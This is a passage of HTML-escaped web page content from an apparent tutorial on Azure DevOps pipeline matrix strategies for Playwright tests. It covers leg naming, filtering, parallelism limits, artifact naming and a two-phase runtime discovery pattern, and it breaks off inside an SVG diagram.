style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpx playwright test --browser $(browser)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Playwright: $(browser) $(version)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAdding a third entry to \u003ccode\u003eparameters.testTargets\u003c/code\u003e generates a third leg. No template changes are needed.\u003c/p\u003e\n\u003ch3 id=\"leg-name-generation\"\u003eLeg Name Generation\u003c/h3\u003e\n\u003cp\u003eMatrix leg names must be unique. Azure DevOps leg names allow only alphanumeric characters and underscores (\u003ccode\u003e[A-Za-z0-9_]\u003c/code\u003e). Dots and hyphens break output variable reference paths because the accessor uses dots as separators.\u003c/p\u003e\n\u003cp\u003eSanitize names using a separate \u003ccode\u003eid\u003c/code\u003e property on each parameter entry that the caller ensures is underscore-safe:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etestTargets\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003eid\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003echrome_114\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003elabel\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Chrome 114\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ebrowser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003echrome\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;114\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRunTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ematrix\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ each target in parameters.testTargets }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#ae81ff\"\u003e${{ target.id }}:                 \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Caller-controlled, guaranteed safe\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ebrowser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ target.browser }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ target.version }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"filtering-the-matrix\"\u003eFiltering the Matrix\u003c/h3\u003e\n\u003cp\u003eAdd an \u003ccode\u003eenabled\u003c/code\u003e boolean property to each entry. The loop filters disabled entries at compile time with an explicit equality check \u003ccode\u003eeq(..., true)\u003c/code\u003e to prevent string truthiness issues.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ematrix\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ae81ff\"\u003e${{ each target in parameters.testTargets }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(target.enabled, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#ae81ff\"\u003e${{ target.id }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ebrowser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ target.browser }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ target.version }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"controlling-parallelism\"\u003eControlling Parallelism\u003c/h2\u003e\n\u003ch3 id=\"maxparallel-on-a-dynamic-matrix\"\u003e\u003ccode\u003emaxParallel\u003c/code\u003e on a Dynamic Matrix\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003emaxParallel\u003c/code\u003e limits concurrent agents. On a dynamically generated matrix, declare it statically alongside the \u003ccode\u003ematrix:\u003c/code\u003e key. Note that \u003ccode\u003emaxParallel\u003c/code\u003e is a best-effort limit — actual concurrency depends on available agent slots in the pool.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eparallelism\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enumber\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRunTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ematrix\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ each target in parameters.testTargets }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(target.enabled, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#ae81ff\"\u003e${{ target.id }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ebrowser\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ target.browser }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003emaxParallel\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.parallelism }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTotal agent-minutes are constant — parallelism trades infrastructure spend rate against wall-clock time. For Microsoft-hosted agents, each leg carries ~30-60 seconds of provisioning overhead. Batch small tests into fewer legs to amortize this cost.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"consuming-matrix-results\"\u003eConsuming Matrix Results\u003c/h2\u003e\n\u003ch3 id=\"aggregating-status\"\u003eAggregating Status\u003c/h3\u003e\n\u003cp\u003eA downstream job declaring \u003ccode\u003edependsOn: RunTests\u003c/code\u003e waits for all legs. Use \u003ccode\u003econdition: always()\u003c/code\u003e for aggregation jobs to ensure they run even if some legs fail.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTestAggregation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRunTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003edownload\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecurrent\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epatterns\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;test-results-*/**\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Download all leg artifacts\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"unique-artifact-naming\"\u003eUnique Artifact Naming\u003c/h3\u003e\n\u003cp\u003eArtifact names must be unique per leg to avoid overwriting. Use \u003ccode\u003e$(System.JobName)\u003c/code\u003e, which resolves to the matrix leg key (e.g., \u003ccode\u003echrome_latest\u003c/code\u003e) and is safe for file paths. Do not use \u003ccode\u003e$(Agent.JobName)\u003c/code\u003e, as it includes spaces and parentheses (e.g., \u003ccode\u003eRunTests (chrome_latest)\u003c/code\u003e).\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003epublish\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.SourcesDirectory)/test-results\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eartifact\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etest-results-$(System.JobName)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"the-two-phase-matrix-pattern\"\u003eThe Two-Phase Matrix Pattern\u003c/h2\u003e\n\u003cp\u003eUse this advanced pattern only when test targets are discovered at runtime (e.g., \u0026ldquo;all microservices currently in staging\u0026rdquo;).\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery Job:\u003c/strong\u003e Queries an API and outputs a JSON object (keys = leg names, values = variable objects).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMatrix Job:\u003c/strong\u003e Injects the JSON via \u003ccode\u003e$[ dependencies.Discovery.outputs['findTargets.matrixJson'] ]\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"diagram-the-two-phase-dynamic-matrix-pattern\"\u003eDiagram: The Two-Phase Dynamic Matrix Pattern\u003c/h3\u003e\n\u003cp\u003eThis diagram visualizes how runtime discovery enables a pipeline to scale its parallelism based on external data (e.g., current staging microservices or available browser versions) without any YAML changes.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 528 761\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 32,0 L 432,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,48 L 408,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,80 L 232,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,80 L 408,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,112 L 224,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,112 L 408,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,144 L 232,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,144 L 408,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,176 L 224,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,176 L 408,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,208 L 232,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,208 L 408,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,224 L 224,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,224 L 432,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,304 L 232,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,304 L 432,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,352 L 408,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,384 L 104,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,384 L 240,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,384 L 376,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,384 L 408,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,416 L 96,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,416 L 144,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 192,416 L 232,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,416 L 280,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,416 L 368,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,416 L 416,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,448 L 104,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,448 L 144,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 192,448 L 240,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,448 L 280,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,448 L 376,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,448 L 416,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,464 L 96,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,464 L 232,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,464 L 368,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,464 L 432,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,496 L 240,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,496 L 376,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,576 L 240,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,576 L 432,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,624 L 408,624' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,656 L 232,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,656 L 408,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,688 L 224,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,688 L 408,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,720 L 408,720' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,736 L 432,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,0 L 32,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,304 L 32,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,576 L 32,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,48 L 56,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,112 L 56,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,176 L 56,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,352 L 56,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,416 L 56,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,624 L 56,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,688 L 56,720' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,384 L 104,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,448 L 104,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,416 L 144,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 192,416 L 192,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,80 L 232,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,144 L 232,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,208 L 232,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,288 L 232,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,656 L 232,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,384 L 240,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,448 L 240,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,496 L 240,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,560 L 240,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,416 L 280,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,416 L 328,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,384 L 376,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,448 L 376,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,48 L 408,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,112 L 408,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,176 L 408,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,352 L 408,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,624 L 408,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,688 L 408,720' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,416 L 416,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 432,0 L 432,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 432,304 L 432,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 432,576 L 432,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='112.000000,416.000000 100.000000,410.399994 100.000000,421.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 416.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='240.000000,112.000000 228.000000,106.400002 228.000000,117.599998' fill='currentColor' transform='rotate(90.000000, 232.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='240.000000,176.000000 228.000000,170.399994 228.000000,181.600006' fill='currentColor' transform='rotate(90.000000, 232.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 232,288 L 232,296' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='248.000000,288.000000 236.000000,282.399994 236.000000,293.600006' fill='currentColor' transform='rotate(90.000000, 232.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='240.000000,688.000000 228.000000,682.400024 228.000000,693.599976' fill='currentColor' transform='rotate(90.000000, 232.000000, 688.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='248.000000,416.000000 236.000000,410.399994 236.000000,421.600006' fill='currentColor' transform='rotate(90.000000, 240.000000, 416.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 240,560 L 240,568' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='256.000000,560.000000 244.000000,554.400024 244.000000,565.599976' fill='currentColor' transform='rotate(90.000000, 240.000000, 560.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='384.000000,416.000000 372.000000,410.399994 372.000000,421.600006' fill='currentColor' transform='rotate(90.000000, 376.000000, 416.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='436' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='372' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='436' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='372' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='372' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='436' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='372' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='644' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='372' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='644' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003e#\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='644' fill='currentColor' 